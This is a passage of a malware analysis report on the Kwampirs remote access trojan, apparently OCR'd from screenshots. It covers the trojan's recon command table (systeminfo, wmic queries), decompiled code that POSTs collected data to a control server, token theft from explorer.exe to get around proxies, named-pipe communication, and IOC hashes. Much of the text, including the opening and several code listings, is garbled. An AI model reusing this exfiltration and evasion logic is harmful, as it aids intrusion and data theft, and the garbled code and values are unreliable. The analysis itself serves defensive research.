. &llhw’]u]lr&d‘ol&hﬁ R 3 m.glmzpmmn: -IO‘n'qr m beeous7 L B T TRE g o mwmu:iuvna\-prﬁ- s+ THRE 0 E PR s T oo Tofh g ] BT, WA £ e
#3110 WNE RS0 ol ] CNEYY I'\OINLHI!I.HTU'"L'IJ l‘l T BB 1 NR TR TEMAG+ [ I H’EJ'”['Q! LonEZ N1 Wl!“‘clﬂelﬂf AEDALRIEL T ET T IR0 1] VAR ITE 2B FRERGLALNE] LA std
=H11DIL S APl P GRET G L gk m uasumwu-l.e- ATt a1 ﬂ'n] :l:l L= SRR G T
e b & r:Ju.v:-!‘pnjsl‘ T MKIE\FJWMH:MFMJ ey PR :': (1D TR BT FEDI
A .:.-uspmm:\-u H L 9 B VLSRR T I G DR wwq&cmmmm )mc-a-elw;m
FET i Tpar 1§87 pa lﬂ-ui:emﬂi! l!-iﬂ's erl?hrilhszl\w &) o T & Fia n(.l L‘“C—J'flffl-ﬂmlﬁih"\-'ldil:l'l"v' Leai g TTL0EG | ) E.l-?- P'gt How]
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L0ata:1000cDFe comandos_infoga dd offset aHostname
-data:1eecorFae

DATA XREF: sub_10081A60+8ATO
“hostname"

.data:10008C0FY dd offset aGetmac ; “getmac™

.data:100BCDF8 dd offset aler s “ver"

.data:1@08CDFC dd offset anrpn ; Marp -a®

.data:1008CEBD dd offset aSysteminfo ; "systeminfo™

.data:1000CE DY dd offset aWmicMicGetCapt ; "wmic nic get caption,AdapterType,Hanufa™...
.data:1000CE B8 dd offset aWmicTimezoneGe ; "wnic timezone get caption”

.data:1ARBCEAC dd offset aWmiclrqGetCapt ; “wmic IR get caption, IROHumber
.data:10BBCEID dd offset aVWmicPortGetSta ; “wmic port get StartingAddress, Endinghd™...
.data:100BCE1N dd offset aWmicCsproduct ; “wmic csproduct”

.data:100BCE18 dd offset aWimicComputersy ; “wmic computerSystem”

.data:10888CE1C dd offset aWimicBaseboard ; "wnic baseboard”

.data:10088CE20 dd offset aWmicCpu ; "wmic cpu"

.data:1008CE2Y dd offset aWmicPartition ; "wmic partition”

.data:1000CE2S dd offset aWmicBios ; "wmic bios"™

.data:180pCE2C dd offset aWmicStartup ; “wmic startop™

.data:1000CE3R dd offset aWmicMetlogin ; “wmic netlogin®

.data:1000CEIN dd offset aWmicPortconnec ; “wnic portconnector”

.data:10008CE3S dd offset aWmicHemphysica : “wmic memphysical®

.data:1008CEAC dd offset aWmicShare ; "wmic share™

.data:1000CELD dd offset aWmicLogon 3 "wmic logon"

.data:1000CELRS dd offset aWmicOs ; "wmic 0S”

.data:100RCENS dd offset aWmicLogicaldis ; “wmic logicaldisk get caption,descriptio™. ..
.data:100BCENT dd offset aWmicDesktop : “wmic deskbtop™

.data:100BCES D dd offset aWmicProcessGet ; “wmic process get caption,commandline*
.data:1008BCESN dd offset aTimeT s “time St

.data:1008BCESS dd offset abDateT : “"date /t"

The module that Kwampirs RAT has downloaded is mapped into memory as follows:

FWPUCLNT.OLL GOBCO00N R . . D . |yt 0000 public  CONST 32 0000 0000 0000 0000 0000

17 emdDLL.dll A O00000) ) c
£2 dehasnli? AN 2w n [ae— nann rashlir  NATA EY] i i N nnen i

emdDLL.dll 10009000 10013000

cmdDLL.dll 10001000 10005000
cmdDLL.dll 10000000 10001000

After loading it, a thread starts invoking a function named CF. For this sample it is
necessary that all the modules come with the function CF () to start the logic. The
name of the DLL once mapped on this occasion is emdDLL.dIl which confirms that it is
a module ready to execute commands.

Next you can see the module’s loop that reads the .data section with the commands
and that will be launched with cmd.exe:

strepy(vls, "omd.exe fo W"EsS\" 2xnul™);
vl = off_leeeCDFe;

do

1

sprintf(CommandLine, v1&, *vl1};
sub_18001250(va);
+Hwl;

while ({ {signed int)vl < (signed int)&unk 1888CESC );
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edi, [esp+48h+var_ 38]

xor al, al
mov [esp+d4Bhtvar_38], '8.77°
mov [esp+48h+var_2C], '@1.1'
mov [esp+48h+var_28], '84.4'
mov [esp+4Bh+var_24], ".ip/’
mov [esp+48h+var_2e], 'php'
mov edi, edi

I

loc_1@a81BD@:

test
jnz

al, al

short loc_188@1BFD

v

And the following screenshot shows the part of the network that sends the POST
request of the module whose capture of the network traffic was seen before:

v

' Y
=

MoV
lea
lea

eax, edi
edx, [eax+l]
esp, [esp+@]

[
il s =

Mo
inc
test
jnz

loc_16681BEG:

cl, [eax]

eax

cl, cl

short loc_l@@@1BES®

¥

e

sub
push
push
lea
call
inc
add
cmp

jb

eax, edx

23K 3 len
edi ; int
ecx, [esp+S@h+var 38]
SendInfo

esi

esp, @

esi, 2

short loc_la@elBDe

3
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WsAStartup(@x10lu, S&WsAData);
v8 = gethostbyname (&name});
*(_DWORD *)&v1s.sa_family = @;
*(_DWORD *)&v18.sa_data[2]
*(_DWORD *)&v18.sa_data[6]
*( _DWORD *)&v1S.sa_data[le] = @;
vie = @;
if ( vo )
1

if { vo->h_addrtype == 2 )

1

=8
=@

¥
¥

w1l = v9->h_addr_list;
if ( *vi1 }

*( DWORD *)&v18.sa_data[2] = *( DWORD *)*vi11;
vid.sa_family = 2;
*( WORD *)vli.sa_data = htons(@x50u);
w12 = socket(2, 1, B};
if { v12 != -1 && 'connect(vl2, &v15, 16) )
1
strepy(
"POST ¥s HTTR/L.@\rin™
"HOST: ¥shrin"
"Content-Type: application/x-www-form-urlencodedirin®
"Connection: Closei\rin”
"Content-Length: ¥d%rn"
“\r\n™
"data="};
sprintf(&buf, v26, &v19, &name, len + 5);
send{v12, &buf, strlen(&buf}), @});
send{v12, (const char *}al, len, @);
for ( i = &v22; recv(vl2, i, 1, @) && *i != 18; Hi )

o b e

= w23 == 58 && v24 == 48 && V25 == 48;
v1e = vld;
closesocket(vl2);
¥
1
¥

}

WsACleanup();
return v1é;

7. After exiting the thread, the Sleep () function is executed with a random time and
returns to point 5 to repeat the process.

When the Kwampirs RAT is executed with three parameters, the API that makes the HTTP
request sometimes returns error 12029 (it could not establish the HTTP connection). In this

case Kwampirs RAT will try to boot the malware with the CreateProcessAsUser () function as
follows:
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_] Progiedades rundI(2, me (2660) o E e
Generdl | Statmtcs | Performance | Thresds | Token | Medues | Memory | Envronmen | Handies | Disk and Metwerk | Comment

A=
‘l Procesn host de Windovs [Rundi3Z)
Verson! 6. L7600, 16385
Image Sie rame:
1 indows \Sys WO ETyund32.exe

Progess

Command ine: nundi32.exe “CriWindows \system32 wmiapvsrep . il ControlTrace Embedding - DoomLaundh ::: “::

Curert drectory: Crilindows’system 32,

Starimd: B seconds ago (16:30:38 110213019
PEB ackirgsa: O P 000 [33-bet: Ox PalclasDid) Trmage bype: 33-ba
Parend: hon-exstent process (2517
Miigaton poliies;  DEP [permanent] —
Protecior: Hong Permiscions | | Termanate
ot
—
] mendll32. eve 2002 00 26 BY's IESME  NT AUTHORITY\SYSTEM
_J mandIE2.exe 2660 005 576 Bis 3FTME Luces-PC\Luces

It looks like there are two instances of Kwampirs, but one with the user SYSTEM and
another with the user Lucas. This makes sense since there are occasions where the user
SYSTEM cannot exit through the proxy of the organization and with this technique aims to
take the user who may have configured the proxy and thus exit. The user instance tries
again to launch the HTTP requests.

Execution with four parameters

Kwampirs RAT when booted with 4 parameters is used to communicate through Named
Pipes with another instance of Kwampirs RAT.

The last parameter is the one that will give the name to the file that will store the handles of
the named pipes created by that same instance. When booting with this amount of
parameters, it calls the CreatePipe () function twice to create two Named Pipes. The pipe
handlers (in decimal) are stored in a file created in C:\Windows\Temp:

b Equipc » Discelocal (C) » Windows » Temp

Incluir en biblioteca - Compartir con = Mueva carpeta p
Mombre Fecha de modifica, & C\Windows\Temp\3.tmp - Sublime Text
File Edit Selection Find View Goto
EH 2 | 3tmp 21/11/2010 4:24
D 4 | DMBECE.tmp 14/11/2016 13:22
Zientes o FXSAPIDebuglogFile bt 14/11/2016 13:25
A | FXSTIFFDebuglogFile.tdt 14/11/2016 13:25
- BT wmm A D i [mm A M0 12340
e 232 =E8
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o 228 =E4

The handles of the process show that e8 and e4 are File handles:

Type Mame Handle
Key HELM\SOFTWARE Microsoft\Windows NT\CurrentVersion\Image File Execution Options Ox4
Directory KnownDills Ox8
Directory KnownDlis32 Oxe
File C:\Windows 010
Key HELM\SOFTWARE Microsoft\Windows NT\CurrentVersion\Image File Execution Options 0x14
Directory KnownDills32 Qx 18
File C:\Users\Lucas\Desktop\kwampirs analysis Oxlc
Key HELM\SYSTEM \ControlSetd0 1\Control\SESSION MANAGER Ox20
Key HELM\SYSTEM\ControlSet00 1\ Control\Mis\CustomLocale x2c
Key HELM\SYSTEM\ControlSet00 1\Control\Mis\Sorting \Wersions D30
Key HELM Ox3c
EtwRegistration Microsoft-Windows-TSF-msctf Ox4+4
WindowStation \sessions | 1Windows\WindowStations\Winstal e
Desktop \Default 050
WindowStation \Sessions| 1 \Windows \WindowStations \WinStal Ox54
File C:\Windows\SysWOweHes-ESyundll32.exe, mui Ox58
EtwRegistration {2955e23c-4e0b-45ca-a 18 1-6ee442ca 1fc0} 0x5c
EtwRegistration Microsoft-Windows-Shell-Core Ox&0
EtwRegistration {2955e23c-4e0b-45ca-a 18 1-6ee442ca 1fc0} w4
EtwRegistration {bcebf131-e4e6-4bas-82fa-9c406002f 769} Oxed
EtwRegistration {8323cdc2-31b0-48b2-80cB-b 74902214733} Qxie
EtwRegistration Microsoft-Windows-Shell-Core Q%70
EtwRegistration Microsoft-Windows -KnownFolders 0x74
EtwRegistration {bda922e8-9f11-4d49-ba 1d-adc2abcass 2e} Ox78
Directory \Sessions| 1\BaseMamedObjects 0x94
EtwRegistration {eb7423f5-ab1f-4322-adcc-1f1a%h 2c 5293} Ox98
EtwRegistration {eb7428f5-ab1f-4322-adcc-1f1a%h 2c 5293} OxSc
EtwRegistration {63a3adbe-2717-410d-a0f5-e07e63823bad} Oxa0
EtwRegistration Microsoft-Windows 4User Profiles General Oxad
EtwRegistration {eobf4a02-d547-4411-8242-e03218b5bea0 1} Oxa8
EtwRegistration Microsoft-Windows PrintService Oxac
EtwRegistration Microsoft-Windows-Documents Oxb0
Key HELM\SYSTEM\ControlSeto0 1\Control \Me tworkProvider \HwOrder Oxb8
EtwRegistration {69d3fob6-5605-42f0-boa0-be0233bd 2cas} Oxcd
EtwRegistration Microsoft-Windows-UxTheme OxcB
Section Commit (852 kB) Oxda
EtwRegistration Microsoft-Windows-Shell-Core Oxd4
EtwRegistration Microsoft-Windows-Dwm-Api 0xdB
File \Device\MamedPipe), Oxdc
File Unnamed file: \FleSystem\Npfs Dxel
File Unnamed file: \FleSystem\Mpfs Owe4
File Unnamed file: \FleSystem\Npfs Oxed
File Unnamed file: \FleSystemMpfs Oxec
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This mode of operation, as seen during the analysis, is used to communicate the Kwampirs
RAT process started as SYSTEM (starting with the service) with the process started as the
user owner of the current session of the machine.
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In the previous screenshot you can see how the process rundll32.exe (starting with
SYSTEM, in this case it would be the master) that could not go to the internet is about to
write in a pipe to send the data to the process that has been created with the
CreateProcessAsUser () function. This data as you can see in the image is a numerical value
and a URI. It is seen in the image how the handler where you write WriteFile () is 0x240 (it is
seen at the top of the stack) that if we open the handles of the rundll32 master process we
see that it is a Named Pipe:

Type Mame Handle
Key HKCU \Software\Classes w238
EtwRegistration {1ac55562-d4f-4bc5-8ef3-a18e07c4665e} Ox23c
File Unnamed file: \FileSystemNpfs Ox240
File Unnamed file: \FileSystem\Mpfs %253
Process rundll32.exe (2832) Ox25cC
Key HELMSOFTWARE W owa432Mode \WMicrosoft\Internet Explorer\MAIN\FeatureControl\FEA, ..  0x260
- =S P S T SR TH RPN TR PO P

If the handles of the rundlI32 master process are opened with a tool like ProcessHacker, it
will be seen how it has an open handle on the rundll32 process, created with the user without
privileges (from now on rundll32 slave):
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| General | Statistics | Performance | Threads | Token | Modules | Memory | Emvironment | Handes | Job | Disk and Netwark | Comment |

[#] Hide unnamed handies
Type Name Handle
Mutant \Sessions'| 1 \BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x2%8
Mutant \Sessions'| 1 \BaseNamedObjects\/IETid Mutex 0x2a0
Mutant \Sessions| 1 \BaseNamedObjects \Zonesl odkedCacheCounterMutex Ox2a4
u Vifr o ESSO0S EacefiameaOhimrteie-1) poare aslanneiatalroam q e ft z Trecl 10 [y A
I Process rundl32. exe i@ Dx25¢ l

Section Commit (892 kB) Dxce

Section \Sessions), 1 \BaseNamedObjectswindows _shel_global_counters Dx158
Section \Sessions)| 1 \BaseNamedObjectsC:_Users_Lucas_AppData_Local_Microsoft_Windows_Te...  Dx15c
Section \Sessions' 1 \BaseMNamedObjects'\C: _Users_Lucas_AppData_Roaming_Mirosoft_Windows_... 0x16C
Section \Sessions), 1 \BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Hs... 0x178
Section \Sessions), 1 \BaseNamedObjects\UriZonesSM_Lucas Ox284
Section \Gessions |\l BaseNamedObjects'C:_Users_Lucas_AppOata_Roaming_Msrosoft_Windows .., 0Oxldc
Thread rundl32.exe (2836): 4000 Ox144
Thread rundl32.exe (2838): 4000 ox17c
Thread rundl32.exe (2836): 1388 ox1f
Thread rundl32.exe (2836): 2096 Ox200
Thread rundl32.exe (2836): 3284 Ox214
Thread rundl32.exe (2836): 3284 Ox218
Thread rundi3Z.exe (2836): 1388 Ox224
Thread rundl32.exe (2836): 1388 Ox22c
Thread rundl32.exe (2836): 1396 ox2f0
Thread rundi32.exe (2836): 1396 Ox304
WindowS5t 1 5 {1 Windows WindowStations\WinStad O

ELLE PR 5 EY P irssalamat #1000 da . afiife da . Miebless) il tam B A

n.d.e rundI32.exe AR 146 MB  Lucas-PC\Lucas

Another similar situation that occurs during execution to the previous one is when the master
rundll32.exe opens the explorer.exe process. This is done with the OpenProcess () api and
then OpenProcessToken () in order to obtain the token from the explorer.exe process
(normally the owner of this process is the authenticated user and is the one most likely to
have the configured proxy):
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__] Propiedades: rundlI32.exe (2044)

| General | Statistics | Performance | Threads | Token | Modules | Memary | Environment | Handles |an I Disk and Metwork | Comr

Hide unnamed handles

Type . Mame Handle
Key HECL\Software \Microsoft\Internet Explorer \IETID %390
Mutant \Sessions 1'\BaseMamedObjects_IMSFTHISTORY! _ O 14c

Mutant \Sessions 1\BaseMamedObjectsc: lusers!lucas! appdatallocal! microsoftlwindows ! temporar,..  0x150
Mutant \Sessions|1'\BaseMamedObiectsc: lusersllucas!appdatalroaming! microsoftiwindowscookies!  Ox 1564
Mutant \Sessionst 1'\BaseMamedObiectsc: luserslucas! appdatallocall microsoftlwindowshistorylh,,,  0x170
Mutant \Sessions| 1\BaseMamedObjects \WininetStartupMutex 0134
Mutant \Sessions 1'\BaseMamedObjectsWininetConnectionMutex Ox1a0
Mutant \Sessions' 1'\BaseMamedObjects \WininetProxyRegistryMutex Ox1a4
Mutant \Sessionst 1'\BaseMamedChiects\RasPbFile Ox1bec

Mutant \Sessions| 1\BaseMamedObjects\ZonesCounterMutex 0x263
Mutant \Sessions' 1\BaseMamedObjects\ZoneAttributeCacheCounterMutex Ox28c

Mutant \Sessions 1'\BaseMamedObjects\FonesCacheCounterMutex 0x294
Mutant \Sessions 1'\BaseMamedObiects\ZoneAttributeCache CounterMutex Ox298
Mutant \Sessionst1\BaseMamedObijects\ZonesLockedCacheCounterMutex Ox2a4
Mutant \Sessions| 1\BaseMamedObjects || IETId I Mutex 0x2bd
Mutant \Sessions 1'\BaseMamedObjectsc: lusers!lucas! appdatal roaming! microsoft!windows!ietlde, .. 0x3b&
Process explorer.exe (2143) Ox3d4

The following is a description of the entire sequence of actions carried out for the rundll32
master process to send information to the rundll32 slave after having seen some peculiarities
previously. The following image shows the master process rundll32.exe that just opened the
slave process with the OpenProcess and will open a temporary file with wfopen:
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The temporary file contains the identifiers of the handles created in the rundll32 SLAVE
process:
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ofeMNR.tmp

In memory of the master process we will find those handles in their hexadecimal value:

debug181:824CEEF8 db BECh ;
debug181:824CEBF1 db 8
debug181:824CERF2 db 8
debug181:6824CERF2 db 8
debug181 :824CERFL db GFBh ;

Anhoad04 =AM LKFCOCC Al n

W=

Once these handles are located, the master intends to duplicate them in order to obtain
access to those handles in their process and that correspond to those of the slave process to
communicate with each other:

ool cdecl sub F1787A7B{HAHNDLE h3ourceProcessHandle, HANDLE h3ourceHandle, LPHANDLE lpTargetHandle)
{

int v3; // ecxi@d

HANDLE wh; //f eaxiE2

bool result; ff al@3

| result = @;:
if (unsigned int&)sub_F1787950(u3) )
i
ul = GetCurrentProcess();
if ( DuplicateHandle(hSourceProcessHandle, hSourceHandle, w4, 1pTargetHandle, @, @, 2u) )
result = 1;
}
return result;

In this execution, the value of IpTargetHandle was 0x290 and it is linked (or duplicated) with
one of the rundll32.exe slave processes that it just read from the temporary file.
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__| Propiedades: rundli32.exe (4012)

| General I Statistics I Performance I Threads I Token | Modules I Memory I Environment | Handles |Jo|::

I Disk and Metwork | Commen

Hide unnamed handles
Type Mame Handle
Key HKCU 0x230
Key HKCU\Software\Classes w234
Thread rundll32.exe (4012); 3156 0244
Thread rundll32.exe (4012); 3156 w248
EtwRegistration {1ac55562-d4ff-4bc5-8ef3-a 18e07c4665e} 0x250
Key HKLM\SOFTWARE \Wows432Mode \Microsoft\Internet Explorer \MAIN\FeatureControl\FEA...  0x268
Key HKCU\Software Microsoftiwindows NT\CurrentVersion\Metwork\Location Awareness Ox26C
Mutant \Sessions|1\BaseMNamedObjects\ZonesCounterMutex w270
Key HKCU\Software WMicrosoft\Windows\CurrentVersion\Internet Settings'\ZoneMap 0274
Key HKLM\SOFTWARE \Policies 0%275
Key HKCU\Software\Policies Ow27c
Key HECU\Software 0x280
Key HKLM\SOFTWARE \Wowa432Mode 0x234
Key HKCU\Software WMicrosoft\Windows\CurrentVersion\Internet Settings'\ZoneMap Ox258
Section \Sessions|1\BaseNamedObjects\UrlZonessM_Lucas w25
File Unnamed file: \FileSystem\Mpfs x290
Mutant \Sessions1\BaseNamedObjects\ZoneatiributeCacheCounterMutex 0294
Key HKLM\SOFTWARE \Wows432Mode \Microsoft\Internet Explorer \MAIN\FeatureControl\FEA...  0x298
Mutant \Sessions1\BaseMamedObjects\ZonesCacheCounterMutex Ox29¢c
Mutant \Sessions1\BaseNamedObjects\ZoneatiributeCacheCounterMutex Ox2al
Key HKLM\SOFTWARE Wowe43 2Mode Microsoft\Internet Explorer MAIN\FeatureControl\FEA. ..  OxZ2a4
Mutant \Sessions1\BaseMamedObjects\| IETId ! Mutex Ox2ad
Mutant \Seszions 1\BaseMamedObjects\ZoneslockedCacheCounterMutex Ox2ac
[ [ Pl B L T o = Sy L HSSS o I | SN WSS N preprout) puppuu § o I | P T ]

Summing up the operation, the master rundll32.exe opens the slave process. Then it reads
the temporary one where the handles are (in decimal) of type pipe that the slave has
created. The master makes a duplicate handle of the two pipes of the slave in its process
and thus pass all the information through these pipes. A situation where this logic is used is
when the master process initiated by the service cannot navigate. In this case, it creates the
slave with the token of the user who owns the explorer.exe and tries to navigate with the

URIs provided by the master due to the pipes created.
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I0C Tipo

07f5fa96d31ed75edba8699f53a75502ade214b34469163011ced5b94e393f32  Hashes
12c6c48e1e52ebca20f4b890922fb31965317865d35ac04d216ad8b78f866999 analyzed
1486746bdba1161cfc15f37011c815911c33a2abd657198b835ac5f8eede663c
281c2ad26346305dac90ce33c2c417b6a7271f990ba9%fa5¢c7db65d6f2e501e94
2d801f75a52f65ffb053ae052cad45a919afd431f5ca46e86abe3d9274c903e4
2f04f6b04a735d4ccbc196942achd3f7a64bc588a0107fc9e344df62a41ad85d
303379ebb41bcb39bc8c5b7c102cff1a90a2ee207a51e0c0fd83c0348ead36a5
34ced48c7481118aac4b5d772a64e0edf8e107a7f606913c49493d5dbc06f96d7
39f8dd73baa0dd67607784b40fb4ad5881b50bb69a59eee2a844b615753062ed
3b3c9a372188fead46b05e9253e03473fda963aaa76fdd459590ecca9db5afofb
3d0dbd119e9f1dd57db3331834c5206c4df321f3f6799c9a622f1a8abe462b2d
64defebf7e600d92685672c4b4d3d2ed3fc6cca27663a65c42df61843573297b
75d93cd55d54a38a9ec47efe26f4a2c4c8c14328175fdd8d69efc0187cef6a2e
768fab04b19c18e375183bd762eda75359da3a964aa97000639cdfdd066f6edd
7f9531e47146095f681564cfd5d322af3def6468202f62c6215af29c0453fb0a
83a0b4476a0f50321308e4e1b4d680430e29a53b9669174d8113d6dcbca817e2
85f8fa27a5f013d38a3c4a3742fbc43df90196326110fda9ad05ac2366d3e525
908d608f2b39b37a2a72cbdd96476acc1159341927d41103370432ddf148b4d9
97dd250670cef14e04db0145efe7fcfc945018b681e87e48a6f012fd7f79d02e
a2d2584e1c46bc2954aaf47957f7fb48bc8209cdf04c1ccd226d689094a2b761
b489e5469938f1410a955ab26dc2cb2c81923¢c75f545df3¢c351767d5f13b728d
b570b07b43cdef3fe2f636a9db6da3dd1e2cb68d980a5fe5b3225713d4ce3e8f
c783f6180147abfa55e8c6dc137b506b595ea111589a1ba4a870778b1f309b8c
cade857aa5735467a69af2267f6c6179286bd5d1ad61b60332a21527b69d9736
ced9a61ebaa8de7aa360ad2d24be26e2474fa4164118f8e32f4e2b2ababce511
d1953d2c07d0572063364f34de99950407d07bd376dd9817ac799d5628ae5339
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